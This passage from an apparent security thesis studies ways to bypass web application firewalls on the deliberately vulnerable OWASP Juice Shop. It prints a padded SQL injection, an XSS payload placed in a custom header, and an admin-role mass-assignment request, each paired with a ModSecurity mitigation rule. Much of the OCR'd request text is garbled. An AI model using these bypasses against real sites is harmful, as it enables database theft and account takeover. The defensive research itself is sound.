In order to mitigate this vulnerability it is possible to write a ModSecurity rule that
blocks requests with more than 400 URL parameters:

SecRule &ARGS_NAMES "@gt 400"

"id:<id>,
phase:2,
block,

t:none,t:utf8toUnicode,t:urlDecodelni,

msg:’Too many parameters’"

Once this rule is configured, the same bypass technique is now blocked, as shown in
Figure 5.9.

Request
pretty  Raw  Hex n

£00=06f00=06f00=06F00=06foo=06F00=06foo=08f00=06f00=0&f00=06E00=08foo=0&E00=0&

Response
Pretty  Raw  Hex  Render
1 HTTE/1.1 403 Forbidden

foo=D&fee=O&ta &f0o=0&fae=0&£fa0=06£00=06foo=0aE0e=0& ate: Mon, 18 Mar 2024 16:14:43 GuMT
foo=Ocfoo=Dsfo ££00=08£00=D&00=06£00=04 foo=0&E0o=0& cxver: Apache

foo=Oifoo=Défo &foo=0&foo=0&foo=08£00=04foo=0&foo=0L ontent-Length: 199

foo=0ifoo=D4fo ££00=0£f00=08f00=06£00=06 foo=0&£oo=0& S Connection: close

foo=0fo0=04fo ££00=0££00=0££00=06£00=06 foo=0&£00=0& ¢ Content-Type: text/html; charset=iso-8859-1
foo=D&foo=D&fo &£00=08££00=0&£00=06£00=06 foo=0&£00=0& 7
foo=0&£00=0&£00=06£00=06foo=06£00=06f00=08£00=0&£00=0&f00=06E00=06 foo=0&f00=0& 8 <!DOCTYPE HTML PUBLIC "-//TBTF//DTD HTML 3.0//EN">
£oo=0&fee=08fao=06E00=06foo=06E00=06£0o=08£0o=0&E00=04t00=06E00=06 foo=0aE0e=0& S <html>
£oo=0&f00=0&f00=06£a0=06£0o=08£00=0&£00=D&£ao=0&£00=D&£00=0&£00=04 foo=0&oa=0& <head>

foo=Difoo=Difo tfoo=0&fo &foo=0&foo=0&foo=08£00=04foo=0&foo=0L 10 <title>

foo=0ifoo=D4fo &foo=DEfo ££00=0£f00=08f00=06£00=06 foo=0&£oo=0& 403 Forbidden

foo=Difoo=Difo £foo=0&fo ££00=0££00=0££00=06£00=06 foo=0&£00=0& </title>

foo=D&foo=D&fo &foo=06fo &£00=08££00=0&£00=06£00=06 foo=0&£00=0& 11 </head>

foo=Defoo=D&fo &foo=0&fo &£00=0££00=0&£00=06£00=06 foo=0&£00=0& <body>

foo=D&fee=O&ta §£00=06£00=06£00=06E00=06f0o=08foo=06E00=06Eoo=06E00=06 12 <hl>
£oo=0&f00=0&f00=06£a0=06£0o=08£00=0&£00=D&£ao=0&£00=D&£00=0&£00=04 foo=0&oa=0& Forbidden
foo=0&foo=0&foo=0&£a0=08foo=08£00=0E£oo=0&foo=04E00=04fo0=08E00=04 foo=0EEoo=0L </h1>

foo=0ifoo=D4fo =0&£00=08£00=04£00=06£00=06 foo=0&Eoa=0 & 13 <>

foo=0fo0=04fo ££00=0££00=0££00=06£00=06 foo=0&£00=0& You don't have permission to access this resource
foo=0efoo=néfo &£00=08££00=0&£00=06£00=06 foo=0&£00=0& </p>

foo=Defoo=D&fo &£00=0££00=0&£00=06£00=06 foo=0&£00=0& 14 </body>

foo=D&fee=D&fa &f0o=0&fao=0&£a0=06£00=06foo=0aE0o=0& </hml>

foo=Ocfoo=Dsfo &foo=0&foo=0sfoo=0&£00=04foo=0afoo=0& 15

foo=Difoo=Difo foo=0&foo=08foo=04foo=0&fa0=0Efoo=DEEa0=08

£00=0£f00=08f00=06£a0=06 foo=08£0o=0&£00=0&foo=0&f00=04&foo=06£0o=06 foo=0&Eoa=0 &

foo=Dig=test'))+uniontselect+email, password,3,4,5,6,7,8, +from+users-- HOTR/1.1

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; rvil23.0) Gecko/20100101
Firefox/123.0

Accept: application/json, text/plain, */*

Accept-Language: it-IT,it;q=0.8, en-U8;q=0.5, en;q=0.3

€ Accept-Encoding: gzip, deflate, br

Connection: elose

6§ Referer: http://localhost/
9 Cookisi languags=en; welcomebanner_status=dismiss; cockisconsent status=dismiss

0 Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Tf-None-Match: W/ "325f-+9rgv/ZZLKETkRZ50003T/ma+RE "

Figure 5.9: WAF bypass mitigation

8nr

5.4 Stored XSS Through Custom HTTP Header

The OWASP Juice Shop provides a functionality to see the last IP from which the
user logged in, as we can see from Figure 5.10.

c O D o localhost/#/privacy-securityast-logi

. OWASP Juice Shop

Last Login IP

1P Address 1721803

Figure 5.10: Functionality to see the last login IP

The last login IP can be modified using the True-Client-IP HTTP header, which is
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a custom one provided by the OWASP Juice Shop, by calling the /rest/saveLoginIP
API, as we can see in Figure 5.11. The application doesn’t perform any checks on

Request
Pretty  Raw  Hex n o=
GET /rest/saveLoginIp HTTE/L.1

Host: localhost

User-agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x64; rv:123.0) Gecko/2010010L
Firefow/123.0

4 Accept: application/son, text/plain, */*

Accept-Language: it-IT,it;q=0.8, en-Us;q=0.5,en;q=0.3

€ Accept-Encoding: gzip, deflate, br
7 Authorization: Bearer

£yJ0eXAL0i JKVIQiLCThbGe 101 SUZTINLIY. eydzdGFOAXMIOL T2dWN ZXN=Tiwi ZGF0YSIEeyIpZCTEMI T
STNVZZKTUYWL1T] 01 Tiwi 401 haWwiOigwaWvlcmIAanVpY2Utel gub3AiLCIWYKNzd2 9YZCTET] VInNGRI Y I
iNWFhNZ2Y12DY32DgzM] dk W14 0Dd] 27 k5 Tiwiong s 28 T6TmNL 3 RyBWVYTini 26VadKh1VEIr aNe 101 TiLCT
SYKNDTEInaWS JeCTET] EIMA 4004wl Ti L <1 SW1hzAZ UL0iTv: 13B1YmxpYy IphWE nZXM
vdxBsb2rkeyTk LaN? 2yIsT y2XQiOiTiLeTpelF]del2ZSTEdHIlZswi 3Tl YXRLZER
013 0iMj AyNCOwMyOs<OCARN] o 1MD o yMCAwMTY g Kz AwO3 AwL iwid KBKYXR1ZEFOT] oilj AyNCOwMyl:CCA=N] o
1Mj 02NS4 2Nz TgK=AWO] AWT iwi 2GVSZXRL ZEF0 T pudWss £9wi aWF0 9 oxNzEwNzgwizewtQ. TEs5as] yHI EL
=20MfCHang 5 0 1TLEXmr L2 VYQY LMY 60TUNNYR euCkh] Ze 1E3EYE V7 ¢ nl DQvQHTuL Zq r gKQ4 ny 989 £Qui i ulhg
gStiYakW-4ha7x3i800VnvIM3IAfs0UIHE -8 U3 zQ2FOLTK_3nGo fhZPJOMQL_Hetna?6DVegUXo
Connection: close

5 Referer: http://localhost/

10 cookie: language=

; welcomehanner_status=dismiss; cockicconsent_status=dismiss;
continueCode=zalQux2XYZeNzDalPmOnS owr  KEAK] £32AGTB ypOvIAbRVET 18 g M3 IREm
Sec-Feteh-Dest: empty

2 Sec-Fetch-Mode: cors

3 Sec-Fetch-Site: same-origin

Trus-Client-TP: 137.0.0.1

Response
Prefty  Raw  Hex Re

1 HITE/L.1 200 OK

Date: Mon, 18 Mar 2024 16:54:35 GMT

Server: Apache

Access-Control-Allow-Grigini *
X-Content-Type-Opticns: nosniff

€ X-Frame-Options: SAMECRIGIN

Feature-Policy: payment 'self’

X-Becruiting: /#/jobs

Content-Type: application/json; charset=utf-g
0 Content-Length: 345

1 BTag: W/"159-b/vxB0oQEqvIG:] iWaDdECDE0M/ sA"
Vary: Accept-Encoding

Connection: close

ro@juice-sh.op”,
"5f4dcc3bsaalE5d61dB3ZTdehEAZCET",
"role™: "custemer",

"deluxeToken”: ",

"password

"lastLoginIp":"127.0.0.1",
"profileImage”: "/assets/public/images/uploads/default. svg",
"totpsecret”:

:20.0162",
:35.6082",

"deletedAt”:null

==
8w

Figure 5.11: Modifying the last login IP using a custom header

the value of this header, allowing an attacker to insert anything, including the Cross-
Site Scripting payload <iframe src="javascript:alert(1)>", as we can see from
Figure 5.12. By looking at Figure 5.12 we immediately see how the WAF wasn’t

Request
pre Raw  Hex n =
GET /rest/saveLoginIp HUTE/L.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rvil23.0) Gecko/20100101
Firefox/123.0

Accept: application/jsom, text/plain, */+

Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br

Authorization: Bearer

£yI0=XALOLTRV1QiLCThbECiOLTSUZTINITY . eydzdGF0 dXMiOlT=dWN] 2XN 2T iwi Z6F0YST6 e ydp 2CTEMI T
SINVZZXTUYWL1T] 0iTiwiZWlhaWwi0idwalV0cmIAanVpY2 UtcIgub3AL LCIWYXNad2 IyZCT6T] VINGRI YaN
ANWELNZY1ZDY2Dg 2] dhZWI40DT] 27 K5 Tiwicm9s a5 T 6InNLe3RVENVYTiwi 26VadXhlVEar 204 LOLTILCT

SYXNOTGInaWs JeCTETEIML =00 wT I TALC 1 SWLhZ2UL 01 TvYX Nz ZXREL3B L Kmsep ¥y I phun

vdXBsb2Fkey9k ZWahdW=0LnN2 4yT s TnRvdHET ZWNy 2X Qi 0 TiLCTpelF] dG12 25T 6dHIL 28wi ¥3 TIYRR1ZEF
DI50iMj 5011 TiwidXBRYXR1ZEFOT] 0iMjAyNCOwMyD x0CA=Nzo
wMzo00CE 4 NDegKzAwO] AWL iwi ZGVS ZXR1ZEFOTS | aWEOTS £Q. RzAd6_dQRrFr

HOOO1bSAKS pUVE £U0QhMpI L43Byad 7 2VV_x62KF7 - 16 fT1T01H2 SyCqep rufXJOHAMX4 23_3nng
YEmpLR1AOA-7T0XSLyHyKUSGC_DEuiszxqd9v]b3UdCVLImNpEstDSwxCTHE 6hVIFASHHTMIgle
Connection: close

Referer: httpi//localhost/

10 Cookie: language=en; welcomeh
11 Sec-Fetch-Dest: empty

2 See-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Trus-Client-IF: <iframe src="javascript:alert('Xss")">

ismiss; cooki

Response

Prety  Raw  Hex  Rende
HTTE/1.1 200 OK

Date: Mon, 18 Mar 2024 17:09:34 GMT
Server: Apache

¢ Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

€ ¥-Frame-Options: SAMEGRTGIN

7 Feature-Bolicy: payment 'self'

8 X-Recruiting: /#/jobs

9 Content-Type: application/json; charset=utf-g
10 Content-Length: 376

11 ETag: W/ "l78-2NOGuIyT ZAByCmIaviveE/ yanIQ"
Vary: Accept-Encoding

Connection: close

etro@juice-sh.op”,
£4dcc3b5aaTE5d61dB327dehBE2E99",

'<iframe sre=\"javascript:alert('X83")\">",
"profileTmage
"totpSecret

2024-
"deletedat”:null

assets/public/images/uploads/default. svg”,

Q- =
8w =

Figure 5.12: Inserting an XSS payload using an HTTP custom header

able to detect this payload as malicious, even if we did not use any encoding or
obfuscation technique. This happens because the Core Rule Set rules to detect XSS
payloads only inspect the User-Agent and, in some cases, the Referer headers, as
we can see from Figure 5.13.
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SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/_ utm/|REQUEST_COOKIES_NAMES|REQUEST_HEADERS:User-Agent | ARGS_MAMES |ARGS |XML:/* "@detectXSs"
"id:94118@,%
phase:2,%
block,\
t:none,t:utf8toUnicode,t:urlDecodelni,t:htmlEntityDecode,t: jsDecode,t:cssDecode,t:removeNulls,
msg: 'X55 Attack Detected wia libinjection',\
logdata: 'Matched Data: XS5 data found within %{MATCHED_VAR_NAME}: %{MATCHED VAR}',\
tag:'application-multi',\
tag:'language-multi’,\,
tag:'platform-multi’,\,
tag: 'attack-xss',h
tag: 'xss-perf-disable',
tag: 'parancia-level/1',%
tag: ' OWASP_CRS',\
tag: 'capec/1@@8/152/242" ,%
ver: 'OWASP_CRS/4.8.1-dev’ "\
severity: 'CRITICAL',\
setvar: 'tx.xss_score=+%{tx.critical_anomaly_score}',"\

setvar: 'tx.inbound_anomaly_score_pll=+%{tx.critical_anomaly_ score}'"

Figure 5.13: CRS XSS payload detection rule example

This means that, if the attacker is able to inject a payload inside one of the
headers that are not inspected, it can exploit a vulnerability in the web applica-
tion entirely bypassing the WAF protection, as we have seen in this case with the
True-Client-IP custom header. As we can see from Figure 5.14, after having sub-
mitted the payload, when visiting the page that should display the last login IP, the
XSS payload is triggered.

Figure 5.14: XSS payload triggered

Mitigation

This bypass showed us how, sometimes, the attacker doesn’t need to find complex
payloads or use sophisticated encoding or obfuscation techniques to bypass the WAF,
they would just need to find an injection point that is not analyzed by it because of
configuration errors made by the developers.

In this specific case, to mitigate the vulnerability it is enough to add the
True-Client-IP among the headers inspected by the Core Rule Set. For example,
in the rule showed in Figure 5.13 the list of arguments should become:

REQUEST_COOKIES | 'REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES |
REQUEST_HEADERS:User-Agent | ARGS_NAMES | ARGS | XML : /* | REQUEST _HEADERS
:True-Client-IP

Once the custom header has been added to the rules, the same payload would be
blocked, as shown in Figure 5.15.
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a==
Request Response
Raw  Hex n = Pretty  Raw  Hex  Render n =

1 GET /rest/saveLoginIp HITE/L.L

2 Host: localhost

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:123.0) &ecko/20100101
Firefox/123.0

4 Accept: application/json, text/plain, */*

S Accept-Tanguage: it-IT,it;q=0.8,en-Us;q=0.5, en;q=0.3

6 Accept-Encoeding: gzip, deflate, br

1 HTTE/L.1 403 Forbidden

2 Date: Tue, 19 Mar 2024 15:51:35 GMT

3 server: Apache

4 content-Length: 199

5 Connection: close

& Content-Type: text/html; charset=iso-8859-1

7 Authorization: Bearer 8 <1DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
eyI0eXAL0LTKVIQILCThbGC O TSUZTINLITS . e pTzdGEDA XML 01 T2dWN] ZXNTiwi s6F0YST6eydpa | 9 <html>
CTEMITSTRVZZXIUYWL LTS 01 Tiwi 201 haWwi O1JwaN vl emSAanvpy2Ute? qub3Ai LeTwYXNzd2 9y 20T <head>
€13 VlIGRI ¥ZNiNWFhNZY1 ZDY32Dg M dkZWI4 ODTS 23 k5T iwicmd sZSTEImMNLed Ry WV T iwi 26 Vad <title>
Xh1VG9rZWA1i0iTiLed sYKND T6InaWsJcCTET] AUMCAwD] AL LCJwemImalsx L SWLhZ2 Ui 01 Tvy XNz ZXR 403 Forbidden
213 B1YmxpYyIphRFnZXMudX B sh2Fkcy9k ZNZhdWx0LnN2 2yTs TnRvd HETZWNY 2X Q101 Ti Leapen Fid </title>
612Z8TEAHILZSwi¥3J1YKR] ZEFOT 0iMj AyNCOwWMyDx0SA:NT 5 1MD osMi 8 00TQy K zAwO3 AwT iwi dXB </head>
KYXRLZEFDT] 0ilM3j AyNCOwMyDxOSAxNTo1MD 03xMi400T QR aAw0] AwTiwi 26VsZXRIZEFOT] pudWxsf <body>
SwiaWF0T] oxNzEWODY zNDIy£Q. A mQoGATNEN=Rv1 9bNCsCeTIEZTUVIECCresTSDLpeETUSgRuW_zw | 12 <hl>
bwlbZENt3 oXFeerRfme-r5GR_IMyn83gex?Himmsj4UTVIP48 SLMeQd fyRCFULLV-Qb s6uwMimg 14 H Forbidden
BrOg-n_PcklxESEZs2gEJoBUSUzq_bC_soNwrBXis </hl>
8 Connection: close <p>
9 Referer: http://localhost/ You don"t have permission to aceess this resource.
10 Cookizi language=en; welcomehanner_status=dismiss; cockisconsent_status= </p>
dismiss; continueCode= 1 </body>
BP4graVEQ7DEowEYQE Y1) OK =x9d J YhpAmvE rXWRS 62gpTdhl 3knMzLvIER </html>

11 Sec-Feteh-Dest: empty

12 Sec-Fetch-Mode: cors

13 Sec-Fetch-Site: same-origin

14 If-None-Match: W/ "15d-GObetdjRltPqoEFZXed/BCp+gan”
15 True-Client-IP: <iframe src="javascript:alert(L)">

Figure 5.15: XSS payload blocked by ModSecurity

5.5 The Business Logic Problem

Up until now, we focused on techniques to bypass a WAF to exploit vulnerabilities
that require payloads with specific formats and keywords such as SQL Injection
and Cross-Site Scripting. Even if in many cases it is possible to find a technique
to avoid the payloads being detected, as we have demonstrated in this chapter and
Chapter 4, it is also possible to change the WAF configuration or write new rules
to make those techniques ineffective. However, as we repeatedly said in this thesis,
Web Application Firewalls are not able to block every possible attack. In particular,
they fail to protect web applications from vulnerabilities that do not require specific
payloads to be exploited, like, for example, business logic ones. So, even if an
attacker is not able to exploit an SQL injection because of the WAF, they still can
cause damage to the application through the vulnerabilities that the WAF isn’t able
to mitigate.

For example, let’s consider the OWASP Juice Shop functionality to register a
new user. Figure 5.16 shows the HTTP request made by the application when
registering a user.

Request
Pretty  Raw

1 BOST /api/Users/ HTTR/L.1

2 Host: localhost

2 User-Agent: Mozilla/5.0 (Windews NT 10.0; Win&4; =x€4; rvil223.0) Gecke/2010010L
Firefox/123.0

4 Accept: application/json, text/plain, */*

Response
Pretty  Raw
1 HPPE/1.1 201 Created
2 Mon, 1B Mar 2024 17:11:20 GuT

rver: Apache

¢ Access-Control-Allow-Origin: *

S X-Content-Type-Options: nosniff

€ X-Frame-Options: SAMECRIGIN

7 Feature-Poliey: payment 'self’

8 X-Recruiting: /#/jobs

Hex Hex

B w =

S Accept-Language: it-IT,it;q=0.8,en-Us;q=0.5, en;g=0.3
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/json

E ion/json; charset=utf-8
10 e : close

1L Referer: httpi//localhost/

12 cookie: language=en; welcomebanner_status=dismiss;
13 Sec-Fetch-Dest: empty

14 Sec-Fetch-Mode: cors

15 Sec-Fetch-Site: same-origin 16 {

ETag: W/"138-5Uz0TE0d 9pwlefvandR+sD+DHE"
3 Vary: Accept-Encoding
nnection: close

cookieconsent status=dismiss

"LastLoginIp”: "0.0.0.07,

assets/public/images/uploads/default. svg"”,

"profileTImage”: "/
"isActive”:true,
"id"i

"question”:
"created
"updatedat”

Figure 5.16: Normal user registration process
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As we can see, the new user has the role customer, this means that they can not
access administrative functionalities, as shown in Figure 5.17. An attacker could

« c O D o localhost/#/administratior EAR e a PP =

= ' OWASP Juice Shop

W 403

Q@ Prvacy & securty

O Logout
You are not allowed to access this page!

Figure 5.17: Customer can not access administrative page

modify the request to register a user adding the "role":"admin" payload to the
normal request and, as we can see from Figure 5.18, they get a user with admin
privileges.

Q==
Request Response
Prefty  Raw  Hex W = pretty o n =
1 POST /api/Users/ HTTE/Ll.l 1 HTTR/1l.1 201 Created
lho 2 pate:

£v:123.0) Gecko/20100101 2 8 che

4 Access-Control-Allow-Origin: *
: S X-Content-Type-Options: nosniff
S Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 € X-Frame-Options: SAMEORIGIN

€ Accept-Encoding: gzip, deflate, br 7 Feature-Policy: payment "self'
7 Content-Typs: application/json 8 X-Recruiting: /#/3obs
© Content-Lengthi 276 © Location: /api/Users/24

S Origin: http://localhost 10 Content-Type: application/json; charset=utf-8
: close 11 Content-TLength: 313
ttp://Llocalhost/ 12 ETag: W/'"139-G5/H+FnFogl+£UthVvsBy3/REBs"

12 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss 12 Vary: Accept-Encoding
13 Sec-Fetch-Dest: empty 14 Connection: close

14 Sec-Fetch-Mode: cors 15

15 Sec-Fetch-Site: same-origin 16 {

16

17 ¢

"email: "test_admin@gmail.com",
"password": "password", "deluxeToken”: "",

"passwordRepeat™: "password”, "lastLoginIp” 0.0.07,

"securityQuestion”: { "profileImage ssets/public/images/uploads/defaul tdnin. png”,

"id"il,

"question”: "Your eldest siblings middle name?”,
""""" ‘tedAt”: "2024-03-18T1E: 48:19.4052",
"updatedAt": "2004-03-18T16: 48:19.4052"

I

"securityAnswer": "test",

12 "role”:"admin' "deletedAt”:null
i 1

4-03-18717:15:20.7443",
4-03-18717:15:20.7442",

Figure 5.18: Modifies request to register an admin user

Now that the attacker controls an admin user, they can access all the administra-
tive functionalities of the application and, potentially, compromise the entire web
application’s security.

Mitigation

As we have seen in this example, the WAF is not able to stop the attacker exploiting
a business logic vulnerability that gives them the possibility to gain administrative
access to the web application without injecting specific payloads. Furthermore, it
would be quite difficult to foresee every possible attack path in order to write specific
rules to prevent all the business logic vulnerabilities.

In order to make WAFs better at detecting these kinds of attacks, it is necessary
to add functionalities that are able to recognize strange behavioural patterns from
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the users. To do this, it would be possible to leverage on artificial intelligence
techniques to identify behaviours that differ from the standard and intended ones
in order to stop them. However, this evolution of the WAFs can not be treated in
this thesis and could be a good starting point for future research to further improve
web applications security.
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CHAPTER 6

CONCLUSIONS

In this thesis, we described how Web Application Firewalls are good security tools
to improve web application’s security and how they are able to stop attackers when
they try to exploit vulnerabilities such as SQL Injection and Cross-Site Scripting.

We have also seen how attackers are able to leverage upon configuration errors, bugs
in the Web Application Firewall software and encoding and obfuscation techniques
to be able to bypass the WAF protection and exploit web applications vulnerabili-
ties even when these tools are used. Furthermore, we have seen how WAFs are not
able to mitigate every possible vulnerability, especially those that can be exploited
without using specific syntax and payloads, such as business logic ones.

So, the conclusion for this thesis is that adopting a Web Application Firewall solu-
tion is a good measure to improve the security of web applications, but it can not
completely replace other security principles such as periodical testing and using best
coding practices. In addition, it should not be enough to deploy a WAF in front
of a web application to automatically feel more secure, but a proper configuration,
periodical updating and constant monitoring are necessary to make it as effective
as possible.

6.1 Possible Future Evolutions

In this thesis, particular attention was put on techniques to bypass the WAFs to
exploit vulnerabilities such as SQL Injection and Cross-Site Scripting (XSS). While
these evasion techniques can be mitigated either by changing the configuration of
the WAF or writing new rules to block specific payloads, we have also seen that Web
Application Firewalls are not able to protect web applications from the exploitation
of vulnerabilities, such as business logic ones, that do not require payloads with an
easily identifiable structure.

A possible evolution to further improve Web Application Firewalls detection ca-
pabilities would be to implement artificial intelligence solutions to identify strange
behavioural patterns and stop them if they are considered malicious. For example,
for business logic vulnerabilities, it would be possible to use an Al model trained
with legitimate HTTP requests that inspects every request form the users and as-
signs them a score that identifies how much they deviate from the normal usage of
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the application. Then, the WAF could be configured to block requests with a score
higher than a specified threshold.
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